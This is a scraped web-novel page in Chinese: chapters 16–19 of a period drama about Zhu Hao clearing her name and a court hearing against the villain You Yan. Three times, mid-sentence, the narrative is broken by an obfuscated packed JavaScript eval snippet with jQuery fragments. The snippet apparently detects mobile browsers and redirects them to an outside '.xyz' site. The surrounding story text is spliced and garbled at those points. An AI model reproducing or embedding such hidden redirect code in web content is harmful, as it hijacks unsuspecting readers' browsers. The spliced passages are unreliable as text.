她与宋携青的婚事只祝亓一人私存异议,奈何祝亓碍于其母劝教,他对此全无良策,唯有常至祝好外屋叩扉,言及来由若非叙旧便是相送小食甜汤予她。 16.洗污 祝好明悉此地,施家除却以书肆为生,早年更办有书塾。 然师者施毓年事已高,讲学艰难,他膝下只得一子,十余年前却已身故,徒留两孙与他相伴。 自打祝好及笄,与她定下婚事的施大郎莫名暴毙而亡,施毓更是一蹶不振,二郎施春生虽方及弱冠,却承其祖博识,处身淮城素有“才子”之名,然他既未赴试,更未继其祖之业延展书塾。 长绢纱作掩蔽的空场侧墙内,便是施家旷废已久的学堂,施毓英年曾中秀才,却因发妻身患恶疾成日花钱如流水,施毓迫于生计只好断念赶考入仕的远志。 施毓虽于讲堂上正颜厉色,却不迂腐古板,施家所设书塾不仅纳收男子,亦允女娘入堂同习,偶得日暖风和之际,众学子便同今日一般,承日风坐杌温习。 施毓也曾是她的蒙师,她年幼时亦端坐此堂熟书。 如此书香世家,自然不会因风言风语便鄙弃祝好,她因双亲与施家亲厚之故,自记事起便常至施家作客,因施大郎较她年长许多,祝好倒与年岁相仿的施春生更亲近,哪怕她双亲继逝,少了两家长辈串门走访,祝好亦三天两头地独身往施家钻,除却施家两子,施毓待她亦好极,犹如她的亲祖父,然自施大郎事变,她便不曾复临施家。 祝好见此时此景,心中却茫无所知,数年未曾讲堂的施毓为何于今复将曾在此受教的学子们齐召此场。 绢纱因长风掀起一角,她正巧得见一位枯骨肌瘦的老者杵着木杖扶脊立身于众学子跟前。 施毓银须鬓白,面颊密布饱经沧桑的褶皱,然一双眼却未见浑浊,犹似如墨点睛,精神矍铄。 祝好明明未处身内场,却分外清楚地耳闻施毓所言:“为师年至花甲,半截身子将没黄壤。我施毓平生六十三载从未行伤天害理之事!施毓仰不愧天!唯独愧对故人之女。” 已近巳时,街巷支满摊铺,四境游人如织,皆被施毓的高声朗言所招引。 “老朽妻儿早逝,自他们亡故,两孙即是我心头之重。奈何三年前,长孙暴毙,压得老朽再难起身。”施毓脊背偻弯,手攥木杖行前一步,他声色隐挟粗哑,似喉颈塞痰,“倘使言明,却非猝然‘暴毙’,老朽祖辈罹患遗代隐疾,此疾只存血亲之脉,自娘胎落地便随携,不曾发病时与常人无异,如若发病,胸脯便觉憋闷刿心,同随气短急喘,尤甚时竟可致气觉而亡。老朽何德何能,承天公大恩,不曾身患此等绝症,而老朽独子,便是因此症丧命,老朽长孙,亦患此症。” “因亲族遗患此等恶疾,若教旁家知晓,于功业求娶皆难利事,施家世代遂将此症掩瞒至今。大郎对祝家小娘子怀情,施家亦同祝家亲善,且大郎直至弱冠皆未患此疾症,大郎应与老朽一般,承天公大恩绝缘此疾,既如此,老朽寻想大郎与其结亲合该极好的,不料……大郎竟于定亲当夜,猝发此症昏陨酣梦。 “大郎方与祝丫头定下姻亲遂急殒命,加之祝丫头因双亲早逝之故,本就身集克亲风谣,老朽错就错在,明知世族隐患恶疾,终日在阎王脚下讨命,却只因他的一句心悦,不曾问询祝丫头主见,便至祝家向祝氏催定此亲。大郎过逝,令祝丫头彻底坐实‘灾星’污名,老朽亲将故人遗女推入危崖!令她饱受世人指斥!大郎方故那阵儿,老朽只顾己身独浸骤失长孙的苦痛中未出面为祝丫头澄明冤衔,此乃错上加错。” “其后,老朽唯恐此疾令次孙前程设障,遂以命相胁春生禁他将事出因由揭明,如许谬错,皆为老朽之过,我施毓,背弃人道!尤愧故人之女!有违师德!不配为师!” “祝丫头年仅及笄遂因老朽的一己之私身受诡言责难整整三年。三年里,老朽彻夜难憩,然她身临此等厄境,却不折风骨,更与尤衍相抗,既如此,老朽又有何惧?老朽又怎能将人道尽数碾碎?!” 施毓言此已是涕泗横流,手中木杖因奋激抖颤难遏,“施毓自认才情平平!不堪为师!为今所求,只愿众生将本相扬传,还她一身清明!如若使得,望即席诸位,瞧在昔年师生之谊,或则老朽的薄面上,行赴府衙,为祝丫头推波助澜,纵风止燎!她是个好姑娘,不该受此污名!” 四近仿若消音般,祝好再难闻悉此外的任何声息,她的胸腔犹似受硬物撞击,压得祝好难以喘息,恍临山川崩绝之境。 东风乍起,其势掀天。 绢纱翩飞间,有一白衣阑入她的眼中。 祝好犹记儿时,此人时常携她倚桥嬉闹,后来却因莫须有的谰言,她开始畏怕与他唔见,祝好数年来皆蓄意避忌他。 施春生立定七曲桥岸,俯首对她遥遥一鞠。 “春生唯愿翩翩,此行捷胜。” 他已经久未曾这般唤她。 祝好不为所动,继续举步直行,她与他错身而过,直至祝好的踪影彻底隐没人潮,施春生仍弓腰作鞠。 施春生一笑置了,他活当受她漠视奚落,祝好所行不错,况她性情本就如此爱憎分明。 三年来,他日日窥视她,探悉她的琐细,宛如暗中窃光。 他始终难助她分厘,他不配对她言爱,是施家对不住她,愧对这般好的小娘子。 施春生忽闻鸟啼,竟是喜鹊落足柳梢。 …… 祝好与藏弓安抵府衙时,外场已是万头攒动,百姓将府衙方外隙地及其临街围得水泄不通,就连身为原告的祝好皆难挤入人潮行足内堂。 她身侧的藏弓见此,亦觉脑际昏胀。 淮城庶民长年受尽尤衍欺压,身尊淮城父母官的张谦更是助纣为虐,尤衍行恶至今,久未目睹谁人将他告上堂审,不因别的,只因长官与其清浊同流!然今却与以往不同,主责审理的为京官,自当清正廉洁,明辨是非。再言,祝家娘子亦是个神人,先是冒出个贵公子愿以千金求娶,后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12380869|124994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是祝岚香亲口将她与双亲之死撇了个干净。 方连一向闭目塞耳的施家,今日竟召畴昔众学子不惜自断高名披露隐疾,也要洗清祝家小娘子的污名。 此等谐趣大事,淮城难遇难逢,大伙自须临场游目骋观一番。 堂审定时已至,既是裴大人亲审,藏弓重揽传唤原告人一职自然不得有所迟误,然而,任他如何扯破喉嗓高喊,百姓仍旧雷打不动未退寸步,藏弓逼不得已,只好自后背摸出那把近半人高的砍刀,“奉大理寺少卿裴大人之命传祝氏入堂!闲杂人等,自行退步!” 簇拥围观的百姓原不以为意,可待众人瞥清藏弓扛在左肩的庞巨砍刀时,无不吓得腿脚皆软面色发白,百姓识时务地为他与祝好让出一条行道。 藏弓见此,方将其刀收入鞘中,他正眼示意祝好跟上,祝好却始终不见挪步。 祝好立足府衙外街,身受八方而来的探寻之色,她从容以笑相迎,“雪崩因之于雪,却非仅受一瓣寒英,涓滴相汇成珠,水珠逢流即成川,区区荒草,若将其聚拢作捆,数以十记,亦可轻易压死马匹骆驼。” 她面朝万众,敛衽拜下,“今日,祝好自甘作寒英,作涓滴,作荒草,唯愿众人作漫山堆雪,作不尽长川,更当为压身恶徒的草捆。” 明了之人自然解祝好所言,三两白丁难以彻悟其理的,借旁人通解,倒也可明。 什么雪啊河啊草的,不就是祝娘子冀望众人毕力从心共将尤衍伏身正法吗? 人众胜天。 一人薄力,到底难及众人齐力。 虽言而今祝娘子身上再无污名,她数年受尽唾弃指斥,及众城民对她避如蛇蝎,祝娘子固然可怜,然她控诉之人可是行恶无忌的尤大公子尤衍啊!论她将话说得多漂亮直正,怎奈人人上有老,下有小!论今日堂审的是京官,抑或天王老子,谁人愿为此案身犯险境?又有谁人真当将生死漠然视之? 倘今日大伙相协于她,然尤衍未倒,遭殃的便是他们! 祝好言此,对藏弓埋首致歉,方随他拾阶而上。 三日前,内堂因尤家手足各怀阴私,致此地流血成渠,冤魂难鸣。 外街距内堂只咫尺之距,她却如行千山履重。 随祝好离内堂愈近,旁观看客的神情竟越发古怪。 是以,她心头难安。 祝好步入内堂的初眼,便是方絮因落跪原告石,而尤衍,仍同三日前那般桀骜,他挺直腰杆立地,始终未跪。 尤衍目视方絮因,面上顾盼自豪,颇有小人得志的意味。 方絮因三日前为长兄之死投案自首,何况她本就是殉葬案原诉苦主,祝好未及临堂,她与尤衍先行开审亦属情理之中。 唯有的反常之处,即为明堂上,何以得见哪门子大理寺少卿?堂案所坐,分明仍是昏官张谦! 无怪近前观者齐生异色! 17.弑兄 藏弓携祝好步入内堂后,顺其自然地朝上堂深鞠一躬方才退避。 堂内几人耳闻动静齐齐扭身观觑,众人见来者为祝好,神情各异,尤衍却是一副傲色。 祝好未跪,只疑道:“今日堂审应呈交京官主理!为何仍是张大人?!” 她虽已竭力抑制愠怒,后段所言却不难教人听出满腔义愤。 张谦高坐明堂,乌纱帽与身后的《海水朝日》图相映,“裴大人于行途受袭,尚在修整,出此变故恐难临堂,故而,今日仍由本官主理,怎么?祝氏可有不服之处?” “谁人不知今日堂审?!裴大人却赶巧于今遇袭?”祝好未露怯色,立身堂内其音洪高绕梁,“莫不是有人蓄意而为?民女请问张大人,行刺京官此等大事,可遣人清查?可令诸役护持事发地残余线索?” 张谦怒道:“尔等庶民,岂配与本官这般论言?” 他向旁侧立候的衙役指示,“公堂之上,岂容儿戏?本官见不知法理刑律之人逾众,便将处身公堂需遵礼法诵予下堂众人悉听。” 衙役点头哈腰,位出一步,将公堂诸礼则法逐字高唱,其间,此役格外加中临末两句:“凡涉命案,不论苦主抑或被告,皆须跪膝呈案,诬告者与扯谎者,罪加三等。” 祝好闻此哂笑,却依言行近数步屈身在方絮因左侧落跪。 祝好侧首细观方絮因,她自行投案定当委身牢狱度日,身上仍穿着那件磨破肩的布衣,方絮因发髻缠结凌杂,嗅闻更有酸臊之气。 方絮因迎着她的注目对其莞然一笑,示意己身无碍。 与此同时,张谦冷不丁出口问询:“尤氏,将才差役所言,你可听悉?” 尤衍打哈哈道:“草民并未耳聩,自然听得!” 张谦追问:“既如此,为何不跪?”他朝堂下执狼毫的书使颔首,“凡堂中诸人所言,皆一字不差地记清楚了,若裴大人直至结案未临,此书需呈大人亲眼。” 尤衍心下虽生疑窦,却仍嬉笑作答:“假若祝、方俩人今日当真有此本事将此等莫须有的罪名安于草民之身,草民就算跪地膝行绕城一周亦使得!可如今尚未定罪,再者……草民近日腿脚不便,张大人您看可否通融通融?” “哦?”张谦纳罕,“尤氏竟腿痛至此?方连跪膝皆无法?” 尤衍点头如捣蒜:“正是,草民烦情张大人通融一二!” 张谦并未明言尤衍是否当跪,尤衍自行默认无须落跪,遂仍直身立于内堂。祝好见此,不露声色地朝尤衍处翻记白眼。 张谦盯视堂下几人,祝好三人面下各怀心思,鉴于三日前初审,她已将事发经由诉明,张谦自未有其它首尾细情需询,祝好遂见他案中偷闲,屈指往堂案一下一下地侧敲。 应是张谦有意控扼力劲,指骨与木案相击之音竟不显喧噪,然身处诉案内堂,针落可闻,此声便成为三人心头的一根倒刺。 祝好悄然望向上堂,张谦约莫不惑之年,颊面表肤不单苍黄,更已浅生褶纹,然他的两手却养护得当,指节修长骨骼分明,爪翦将甲沿修得洁净平滑,指肤竟未见泛黄生褶,如此一双手,倒与他年岁不符。 张谦身着绣雁官补绯袍,头顶乌纱帽,他屈指敲案时袖管却因此举缩短半截。 蓦地,张谦昂首,恰与祝好的视线相撞,他停歇敲案之举,祝好见他侧卧堂案的掌心生有厚茧,祝好颦眉思忖,却见张谦仍盯眈着她,张谦眼眸深长,如凛冬坠雹,祝好下意识埋首望地。 张谦位列此城长官,府中虽未娶妻,然姬妾佣仆广众,倒不必自行作务,再者,她可从未听闻张谦有习武之兴,既如此,他的手茧因何而生? 内堂再次陷入沉寂。 衙外围观百姓齐生疑闷,今日合该上演一出惊天骇地的好戏,而今怎的这般清净? 众人皆于心猜度张谦何时开审,忽而听他道:“尤蘅于昨日协府衙寻得猎户曹资与尤琅尸首,当夜已遣人将其尸送至裴大人所居,大人特命随携仵作亲验,奈何裴大人一众住地较远,今日行途更遭歹人袭扰,虽未闹出人命,然随行下属及女眷身患伤情,因此,尸证未及守期呈堂。” “等等!”尤衍惊道:“你说谁?!谁把我爹尸身呈至京官住地?不是衙役所寻?怎的好端端变成阿蘅所寻了?” “尤二公子为寻父尸煞费心机,此行皆为尤氏你着想,有此贤弟,其乃大幸。” 尤衍不解,“此行为我?” “尤氏,你可蒙冤?” “草民自当受冤!更不知祝、方俩人何故诬告草民!” “既如此……”张谦注目尤衍,忽而笑道:“及早寻得尸证,方可使冤屈尽洗不是么?” 尤衍前一瞬尚坐云雾,经由此问点拨倏明张谦言下之意。 他须趋避大理寺少卿亲审,今日京官行途受人拦阻亦是他从中作梗,怎奈京官一众卫戍攻守风丝难透,尤衍集结近百江湖恶徒竟未将尤琅尸身攘夺。然而,因此动乱倒令京官暂且难临府衙,亦成利事一桩,只消张谦在京官临前定案,他遂可彻底脱身。大理寺少卿虽尊京官,首次倒罢,倘二次驳回张谦审果,岂不惹人诟病?如此行事,恐存倚势挟权之嫌! 而张谦适才所言,不正暗喻尤琅尸身虽为其弟呈送,然张谦与尤蘅早先在其尸上做足手脚,已令尸证再难窥出半分名堂吗? 思及此,尤衍方才松口气,谁人皆可叛离背弃他,唯独阿蘅不可能。 那日堂审离行,祝好与他所言自是铭心镂骨,尤衍返宅亦遣人暗窥其弟,尤蘅近日所行他皆明悉,更知他于暗处确存疑举,暗探却难堪破此间细枝末节,尤衍因此对其弟犯疑生疏,直至将才张谦之言,他方通彻尤蘅近日行举皆为助他解脱此案。 阿蘅自小对他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12409767|124994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个作兄长的马首是瞻,岂会叛他? 张谦续言:“因尸证未至,暂将此案推延半刻。” 祝好与方絮因侧目相视,意下所思一致,今日不论施以何策,皆须将尤衍此人扳倒,不若尔后,定受尤衍欺辱糟践。 “本官,当先审理方氏弑兄之案。”张谦自案下捻出一纸,“方氏,你所书诉状本官已阅,其兄尸首亦已验明,死因与你所诉无异,为凶器正中腹部失血过甚而亡,而你的身上,确存受殴诸伤,事发地亦窥得拖尸行迹,你虽于诉纸细书此迹为挽救其兄受医,所行朝向亦奔医馆,然此案仍存疑义,你需依律实言。” 方絮因闻言一怔,他早不审晚不审,偏偏此时作审,她心下惶惶,恐其案累及祝好,然张谦既决意如此,方絮因作为凶犯只好遵行,她遂将额贴地,“张大人请问,民女定不瞒报。” 尤衍面上神采奕奕,若张谦将此女定罪,倒成了他脱罪的一道豁口。毕竟,有命案傍身的贱人之言,又有几人会信? 张谦问讯:“方氏,你既为带其母求医,缘何随携镰刀?你事先可知其兄会自此路归家?” 方絮因缄默须臾,回道:“自赌坊归家不下五路,民女却非神仙,岂可预先得知兄长自哪路还家?而民女之所以随携镰刀,只因事前处身田头打草,民女返家得见奄奄待毙的母亲,怎得闲暇搁置其刀?” 张谦扫眼尤衍,若有所思,“你于诉状草写,本当为其母诊疗的资费为尤蘅所赠?你与他存何情谊瓜葛?他为何无故赠你此银?若你真与尤家二公子相交匪浅,何以……诬告尤衍?换而言之,尤衍又怎会将你作陪葬人选?” 尤衍闻此猛地转觑方絮因,只听此女接道:“幼时,尤二公子不慎失足落井,民女路遇此井将公子救还,自此以后,民女遂与公子交好,民女与尤二公子两情相悦,因此,二公子分外照应民女。然而,民女与公子到底身份悬殊,此情未曾于众宣明。” 张谦尚未言,尤衍已然按捺不住,“你放屁!阿蘅怎会与你这种女人怀情?!若……若你与他真存这层关系……” 尤衍暗自否定,此事绝无可能! 陪葬人选他当初只拟定祝好一人,因着迟迟难寻合宜的第二人而愁楚,方絮因便是尤蘅举荐予他的。 尤蘅称明,此女家中徒留母兄,贫困潦倒穷苦不堪,定会因钱财而入尤家为妾,届时再寻个由头作成自缢遂可,横竖祝、方俩人身世浮沉,生死无人经心,定不致惹人猜疑。 如若尤蘅当真与方絮因怀情,他岂会出此下策?尤衍骤然想起令他以活人作陪换得其父亡魂瞑目的道士,除非……此事种种,皆为尤蘅所谋!他的这位好弟弟,竟欲令他伏身牢狱啊! 尤衍大喊:“你空口无凭!张大人!不妨传阿衡入堂?切勿听信此女的一面之词!” 张谦自指尖掷出拘唤签,“来人,传尤蘅。” 18.斩情 兄长处身府衙对簿公堂,尤蘅既为手足自然不当缺席,将才他隐匿人丛旁观,是以,张谦方请衙役传召,尤蘅便立时依随此役跻身内堂。 张谦简捷了当,“尤二公子,适才方氏所言,你可听明晰了?” 尤蘅微微作揖,恭敬地回:“禀大人,草民已听悉。” 张谦:“可存需正误、辩言之处?” 尤蘅见自家兄长双眼紧紧地锁盯己身,除此之外,斜里另有道灼热的视线向他投来,尤蘅虽未回觑,却知晓,此人定是方絮因。 尤衡自知其兄尤衍愚笨,未承想,他倒一身是胆,尤衍竟当街堵截京官一众,虽无人因此丧命,却闻大理寺少卿的夫人及其下属为此负伤,更殃及过路平民。 此行虽走险,却顺遂令京官暂且难临府衙审理此案。 尤蘅心中讪笑,他不知尤衍是否残遗线索端倪,更不知大理寺少卿能否将此事推查至尤衍身上,因是张谦审结,他更无从断定此案胜者当为何人。 尤蘅只知,他万不可冒此风险惹兄长猜忌。 哪怕他曾对月起誓,许小娘子万般将来,亦不可以己身性命与前程涉险。 三娘温婉懂事,想必能理解他的苦衷。 思及此,尤蘅回道:“方氏诚然于幼时偶救草民,然……草民对方氏,并非男女之情,方氏对草民心生爱慕,日日蛮缠,恰逢其母猝发急症,碍于方氏幼年相救之恩,草民遂赠百银予她为母医治,没成想,到了方氏口中,竟成了‘两情相悦’?实教人难解。” 倏闻拊掌喧笑之声,众人循音而望,见是尤衍。 他将才的着慌之色已退,此时正朝方絮因跪处挤眉嘲弄,“听见了吗?方娘子,阿蘅与你无情,从始至终,皆是你自作多情地对阿蘅痴缠而已!” 定是阿蘅烦厌此女,怎奈他处身淮城素有“君子”之名,不好将人推拒得太冷情决绝,方才出此下策,借他为其父寻陪葬女,顺势将此女推入死境,好闹得个清闲。 尤衍心下纳罕,他的这位弟弟,平日里端得惯是一副翩翩仁人君子风,未想,假面下竟与他一般龌龊腌臜。 阿蘅也真是,所行何必如此迂回?若他尽早相诉被此女痴缠一事,他这个做兄长的,必定躬亲助他了结此女。 方絮因将额抵地,如此姿态已维系良久,久到方砖的清寒直逼她的四肢百骸,令她如梦初醒。 方絮因犹记,踏入赴往尤家的喜轿前,她将母亲托付予尤蘅,令他时常遣人打探其母近况,然她的母亲,以至饿殍皆无人相救,是他一时疏失,或则有意而为? 她想赌一次,如今处身内堂,闻他所言,只当一腔赤诚喂了猪。 他畏其兄猜忌,不惜出言伤她。 她自小活在一片阴晦下,直至于一方枯井窥得她的光,而今,此光再不复见。 她明知己身与尤家二公子为殊途,早应摈弃此虚情。 方絮因抬首,语调平静,“是,民女痴缠公子,活该招满堂笑话。” 堂内唯有尤蘅接言,“爱恨嗔痴,人人有之,岂会因此闹笑谈?方氏,无人笑你。” 至此,他仍竭力维系假面,不舍脱去这一身“贤人君子”名。 方絮因日前已于狱中书下诉状,陈言命案经由,其兄尸身亦已查验,若张谦再无所问,便只余定案。 不论处身内堂或是衙外坐观的百姓,众人皆已猜得七八分,张谦偏颇尤家,此命案虽与尤家不甚干系,然则,方娘子倘若定罪,即同斩断祝娘子的左膀右臂无异,此案若定,尤衍以活人作殉的案子大抵也就定下了。 此局,两位小娘子定将棋输先着。 祝好吊胆提心,紧蹙双眉,她惶惶觑向旁侧的方絮因,待众人皆论方娘子身将沦为阶下囚时,张谦其后之言直令万众瞠目咋舌。 “此案倒与方氏是否倾慕痴缠你无关,百银既确从尤二公子处所得,来路明正干净,便无妨。”张谦将注目直落方絮因处地,他缓缓拨转指间一枚玉扳指,“方氏,无须伏刑狱。” 众人连连叫惊,尤蘅亦未料此果。 尤衍素来心直口快,他喝问道:“张大人!此女杀兄既为实事!为何至此却是一句‘无须伏刑’?此行有违官道!更令其兄亡魂难以在九泉下安息!” “方氏后脑与胸脯因受硬物撞击留下创痕,方氏于诉纸明书,此伤为其兄以山石捶打而致,经验查,方氏并未扯谎。脑与胸为躯体要害,故判施暴者已对方氏下杀机,方氏出于防卫,失手将其兄误伤,之后,方氏并未补刀,反拼力将己兄拖行医堂朝向,可见方氏并非有意弑兄。而其兄,将用以为母亲诊病的百银挥霍赌坊,归家行途偶逢对自己出言不逊的小妹,俩人因母亲丧亡诱发口角,其兄捡石以此与方氏厮打,更欲将其戕害。”张谦言此,昂首直视尤衍,“其兄当先出手,方氏出于自卫,本官如何有违官道?” 尤衍不甘心,“为何方氏杀害其兄意属正当防卫?而方大郎,只不过以山石作殴方氏便成了杀机?!她又没死!张大人如此判案,于理不公罢?您这般妄定命案,恐难服众。” “此事亦好通解。”张谦以指尖点叩堂案,“其兄施暴方氏不止一处,且尽数朝方氏的要害捶打,其兄掌心留有因握石发力而擦磨皮肉的浅痕,若言此痕为方氏将其兄杀害后自造,依掌间天成般的走势,此法难成。而方氏,仅伤其兄一处,况且此伤并非要害,不可致他当场气绝,倘方氏对其兄厌恨至此欲将他蓄意杀害,方氏缘何未补刀?更欲将兄长拖行医堂?未料其兄于行途便失血身亡,方家住地城郊,此行无人觑见,她若蓄意而为,何苦自行投案?” “这……”尤衍磕巴片刻,忽又一口咬道:“定是此女故意为之!她兄长虽因失血过甚而亡,然此案首尾,皆为方氏下得一盘棋局!方氏如此行事,只为洗去己身嫌疑!杀人偿命,天经地义啊!张大人!” 祝好再难容忍尤衍这厮咄咄逼人的气盛,方絮因身背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12448813|124994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘凶犯‘之名不好怼言,便由她来说:“蓄意而为又如何?” 此言尽显嚣张,分毫不亚尤衍临堂的倨傲模样,众人将目光齐齐转向祝好,她仿若未觉,只朗声论辩道:“命案事发时,只方氏与其兄在场,此外再无第三人。是以,此案只得从尸首、凶器、诉状、及其事发地搜寻有效佐证,而此案的审果,便是自如许凭据中推断,敢问尤大公子,您莫非疑忌府衙判案?” 祝好未予尤衍喘息强辩的间隙,她接言道:“倘若真是方娘子故意而为,你又以何为证?铁案之本,必依实据。其兄以山石先手与方娘子厮打,方娘子此身创伤作不得假!长兄因一己之私令其母活活饿殍亦作不得假!若依你所言,其兄明知母亲身患病症,双腿缠疾难以下地自居,他仍然不顾母亲死活地将救命钱用以浸淫赌坊,其兄此行便不算他故意为之了?母亲因他西去,饿殍而亡……临前该是身受何等熬煎苦痛?方家大郎,岂非背负命案的恶徒?” 祝好深呼一口气,“再如何严丝合缝的律法,亦有隙缝可钻,是以,大成开国至今,仍于国律上不断补偏救弊。倘其兄仍存现世,他亦难因此伏狱,可笑尤大公子满口‘公正’,临此万众,你不应最知‘公正’无用吗?倘世间存绝对的公理,尤大公子应早于初审时伏罪。” “若真如您所言,‘杀人偿命,天经地义’,敢问尤大公子已殒身几遭了?” 尤衍脸色发青,咬着后槽牙忿忿道:“你个贱蹄子休要黑言诳语!” 祝好懒得睬他。 “唯有己身可知,平生诸行是否无愧天地,无愧良心。”祝好瞩望衙外百姓,“方家大郎此行,不该死吗?依我看,他死有余辜。若他未陨,其母之死,亦只会因他的一句‘疏失’而掩!” 众观者皆因祝好此言敛声论议,正待此时,不知何人高喊:“该死!方大郎有违孝道!死有余诛!” 一人起首附和,百人、千人、万人对方家大郎的谩骂如潮水般接踵而至。 此子不仅令其母饿殍病榻,事后更欲对胞妹痛下死手,方家大郎不堪为人! 尤衍见此,活生生将话茬儿哽噎在喉。 张谦高坐明堂,目视此况,面上竟无怒色,待声息渐没,他方言,“然其兄确因你而故,你兄长娶有发妻,若其妻不忿此审果,或可向你索求金银,再或……复审此案。” 此言方落,差役携一女子缓步入堂,然女子面容憔悴,眼底乌黑,她行前应处身家中作务,因此将袖管撩至臂弯处,然其肤竟是红肿乌青一片,倒不知因何至此。 熟知方家之人早已瞧出此女来头,正是方家大郎去岁娶进门的小娘子姜氏。 未及张谦问言,姜氏已然落跪,众人皆吃紧此女会以何恶言咒骂方氏,更惊奇她是否会复审此案,抑或令方氏予以重金抵偿。 尤衍最是期盼此出好戏。 姜氏俯身拜下,起身时言:“民女愿与方氏讲和,无须金银,更不必复审。” 19.假面 结发为夫妻,遂如同根生。 众人皆以为,尤大郎的发妻姜氏必得与方氏闹得不可开交才是,到底死的可是她的丈夫,更是家中的顶梁柱。 然她临堂此言,不仅推却此案复审,方连追偿皆弃,姜氏所行直令众人难解。 府衙围观的平头百姓中,不乏些个与姜氏打过照面儿的,相传姜氏与方大郎感情甚笃,既如此,姜氏未含怒质询便罢,岂会作此轻举?虽言方氏到底算她的小姑子,却不必退步至如此境地罢? 在大伙儿私议中,张谦复问:“姜氏,一旦立身此堂承应审果,即如板上敲钉不可更易,你当真思虑周全了?” 姜氏迎上张谦的注目,万分笃定道:“是,民女不予追责。” 身为眷属的姜氏不急,反倒与此事了无瓜葛的尤衍当先急眼,他行近姜氏一侧,究问道:“她杀了你夫君!你就这般轻巧地放任她逍遥事外?!你脑子被驴踢了不成?” 姜氏两眼空虚地瞥向跪膝的方絮因,她所言平寡,“夫君谬错在先,亦是夫君先手作殴,并非民女宽纵三娘,反倒三娘因民女夫君平白受此苦痛。” 方絮因寸心为之倾动,她恍见长嫂小臂上触目惊心的青紫,加之联想姜氏对此案审果的表态,她还有什么不明白的? 兄嫂明面虽和睦笃爱,私下却不好断言,兄长既可行如此丧尽天良之事,施暴发妻岂不简单?无怪姜氏三天两头便寻由头至娘家小住,原是这层关系,而她母亲患难那阵儿,姜氏恰好脱身娘家安身。 尤衍仍对此案死求白赖,他火急火燎地阔步行逼姜氏,张谦朝衙役使色,几名差役遂在尤衍彻底逼身姜氏前将她带下了堂。 尤衍见此更觉心肺火气高窜,他追思今日内堂诸事,张谦与前判若两人,以往他百般依顺地替他处治摆平纠纷,为他兜底,此案初审时更是处处偏颇他,相较之下,今日张谦发得是什么疯? 他眼见姜氏的身影彻底掩没人潮,尤衍愈想愈狂躁,维系理性的心铉亦在此刻绷断,他怒视高坐上堂的张谦,质问道:“张大人,时至今日,您收受草民几多银钱财帛该不至全全遗却罢?” 此事倒算不得秘辛,淮城上到耆老,下到童蒙,谁人不知尤衍与张谦累年来的阴私行贿? 尤衍而今这幅气粗胆壮的模样,竟索性在公堂上将破罐子破摔了。 也对,今日堂审京官未至,既如此,身为淮城地头蛇的尤家大公子又有何惧? 张谦闻言,不禁冷笑一声,他倏地自圈椅起身,绕行木案止步上下堂交界的阶沿处。 祝好微怔,因张谦方才矮坐倒未觉他身量奇高,待祝好目移他下身时又是一愣。 张谦的革带竟挂着一枚香囊,此囊所绣纹饰令人费解,祝好眯眼端详,只见藕荷色的香囊上以粗涩的绣技绣着一只……黑白两色,圆头大脑的猫儿?不知是作绣之人学浅,甚或有意而为,此猫却未见豢宠的憨态,两耳间更甚顶着冠帽,后肢颀长得仿似如人只需以两腿立身,实教人纳罕。 大成惯有发妻为夫君绣囊的风潮,然张谦并未娶正妻,合该哪位小娘子为他所绣?就算真有姑娘家为他作绣,张谦这般薄情寡义之人,岂会真将此物随携在身?不仅如此,这位女娘的绣技更是惊为天人的……糙。 祝好忽生谬念,她思及关于张谦的种种行径,因着初审时,张谦从首至尾落坐上堂,故而难判身量。然有一桩事仍令祝好记忆犹新,张谦惯以敲击惊堂木震慑在众,而今日的张谦,尚未施用惊堂木,不只如此,方才身背砍刀遣她入堂之人,分明并非府衙差役,所行更不似甘受条理所缚之人,却莫名对张谦万分崇敬地深鞠一躬,而张谦,更甚古怪!他今日除却未偏颇尤衍,此外,尚有一道细情,张谦的嗓音虽与先前相较未见惊天之变,然祝好自幼耳力卓众,初审时的张谦,声如凫嗓苍哑,而身前的这位裴大人,声虽如旧,却未闻因上年岁而显生的浊音。 莫非,眼前之人,并非真正的张谦?可他不是张谦还能是谁?再则,他确与张谦生得同副皮囊。 张谦将手背至身后,他笑问:“尤大公子烦请明言,本官曾收受尤家几多金银?” 尤衍被此问一噎,他思绪急转,阴恻恻道:“张大人与我同为寸绳上的蚂蚱,如此简单的道理,张大人怎就偏巧在堂审之日难悟其理?”他语笑喧呼,“单凭物华天宝,甚或千两?怎么,张大人与在下合污数载竟欲舍邪归正了?张大人欲将财帛返还后与我分道扬镳?” 张谦听言却不恼,只是问:“尤氏,口说无凭,你既称本官受贿千两,可有凭据?若无实证,诬告者,罪加三等。” 